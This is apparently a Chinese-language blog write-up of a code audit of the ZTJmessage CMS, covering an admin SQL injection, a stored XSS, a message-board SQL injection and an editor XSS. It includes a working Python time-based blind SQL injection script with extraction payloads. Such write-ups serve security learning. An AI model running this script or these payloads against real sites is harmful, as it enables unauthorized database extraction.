欢迎光临
我们一直在努力

关于ZTJmessagecms的代码审计

0x01 前言

审计是一个漫长而艰难的过程,对于像我一样刚刚入门的萌新来说,希望大家可以耐下心来,认真分析源码,审计漏洞,多多分析已经爆出的cms漏洞,有助于提高自己的能力。

自用代码审计工具:seay源码审计

0x02 对框架的分析

对于代码审计我喜欢先分析配置文件,然后再进入入口进行分析。

如下是定义了一些基本的类,载入了输入库文件和所有的控制器类。实例化了adminlogin类和userrequest类。(这里对后面代码审计有用)

safety.fun.php的代码审计:

防止SQL注入:


先进行了去除斜杠,然后传入的如果不是数字就进行了加引号。


防止xss:

这里直接进行本地测试,进行查看。


判断是否是整数,同时进行了SQL的过滤:

这里比较简单,就是对传入的数字进行了判断,是否在定义的$string_var中,如果在就返回true,如果不在就返回false。 如果后面有单引号之类的注入字符,就返回false,所以同时也避免了SQL注入的问题。

0x03 漏洞分析

(1)后台的SQL注入

功能点:

跟进admin/index.php进行分析。
这里先包含了common.php文件,前面分析到,common.php文件进行了两个类的实例化。

这里进行了判断,由于前面贴图,传入的是一个edituser。继续向下查看。

这里看到对以上传入的location进行了判断。由于上面传入的是edituser,所以$location不为空。进行else,然后执行了menu方法

这里跟进一下$AdminControl变量来源。这里实例化了AdminControl类,这里需要注意(实例化类就要执行构造方法哦)


Tip:AdminControl类的构造方法如下:


跟进一下其类下的menu方法,这里就是弹出你用户所对应的权限,由于这里我直接以admin用户测试,所以的话,是个高权限账号,返回的就是adminustrator权限。

这里就是遍历上面的menu找到你所传入的location,然后弹回传入的location,这里弹回的是edituser
然后进行判断,/admin/edituser.Menu.php是否存在,如果存在就进行包含。

这里进入/admin/edituser.Menu.php进行查看。
这里的id,没有进行任何过滤,然后进行了sel方法。

这里跟进sel方法进行查看。传入的变量没有进行任何过滤,导致了SQL注入(这里利用时间盲注)

# -*- coding:utf-8 -*-
'''
作者:mrxiaoqin
基于后台的盲注  
'''
import requests
import time
url="http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Cookie":"PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"}
i=0
flag=''
while True:
    i=i+1
    head=32
    tail=128
    while head<tail:
        mid=(head+tail)/2
        #payload="-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        payload="-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        url1=url+payload
        print url1
        times=time.time()
        re=requests.get(url1,headers=header)
        timee=time.time()
        if timee-times>2:
            head=mid+1
        else:
            tail=mid
    if(head!=32):
        flag+=chr(head)
        print flag
    else:
        break

(2)存储型xss

这里点击保存,看看location中传入了哪些东西。这里抓包发现,传入的是upsiteinfo,实例化的是upsiteinfo

由于这里可以看出,在/admin/index.php中实例化了upsiteinfo.Action.php,这里进入其中,查看方法。

这里判断是否提交,如果提交就进行了来源判断,必须是http://url/admin/index.php?location=siteinfo

这里使用AdminLogin的checkpostvalue方法。进行了过滤,过滤之后的数值,进行了更新数据库的操作。

跟进checkpostvalue方法进行查看。(AdminLogin方法是配置文件中实例化的方法)

这里我打断点+本地测试发现,就是经过了数组中方法的逐次过滤。

这里先随意输入,根据bp抓包可以知道。

这里是stat_code是对应的第三方统计代码。经过了toUTF-8和addslanshes_d方法

查看这两个方法。
ToUTF-8方法

addslanshes_d方法,是进行了转义,没有对xss标签进行任何操作,所以就导致了一个存储xss漏洞。

插入经典的xss语句,到前段进行查看。

这里看到已经成功弹出。


(3)留言板处的SQL注入

Tip:这里分析的是前台的SQL注入并不是后台哦,如果有小伙伴复现,应该分析127.0.0.1/index.php而不是前面分析的127.0.0.1/admin/index.php

这里查看这块儿代码:这里进行了Action的判定,根据提示可以知道此处的action等于reply。然后进行下一步的判定,如果存在传入的变量id,就进行模板的操作,这里再进行判断,如果不是sel,就进行check_zzs方法过滤传入的id变量。

这里跟进check_zzs方法。

这里对传入的每个数组都进行了测试,这里我进行本地实测。

如果返回的是false,就进行了exit的执行。所以对id进行注入基本上是不可能的。!

找寻注入点2:因为要实例化replay类,所以就包含了replyAction.class.php的控制器。这里查看控制器。!

因为要对文本进行一个注入,因为这里文本输入的是用ReplyContent来进行表示,所以这里对CheckPostFun中的ReplyContent进行方法过滤的查看。经过了ToUtf8和checkok方法的校验。这里跟进Toutf8进行查看。这里知识进行了转化到utf8的编码,无其他实质性的过滤。

这里查看checkok方法。根据他的提示可以得知,这是未进行数据的检查,所以两个都没检查数据。!

这里进行了留言的回复所以跟进留言回复代码。

这里可以看到这里利用了update方法,直接进数据库进行查询,所以就造成了前台的SQL注入问题。注入点:

这里还需要用bp进行抓包修改语句。抓包截图。

这里根据返回情况可以知道,这里是执行了4条SQL语句。具体情况大家可自己下载源码分析。

所以这里可以编写脚本进行自动化的注入,思路(先从返回包中爬取到Replyinputkey然后带入到发送包中进行操作即可),这里和上面脚本大同小异,就不进行脚本的粘贴了。


(4)前台公告处的xss

这个漏洞成因呢,是因为百度的富文本编辑器,这里直接可以抓包删除p标签,来实现一个绕过。!

这里可以看到成功弹窗。

具体漏洞链接(百度富文本编辑器xss漏洞复现)!

0x04 结语

这次代码审计时间还是比较长,用了大概1天半的时间,不过也学习了好多,自己也有在总结,同时也希望像我一样代码审计的小白,能够沉下心来认真的审计一个网站,这样儿也能有助于自己的提高。

未经允许不得转载:Caldow » 关于ZTJmessagecms的代码审计
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活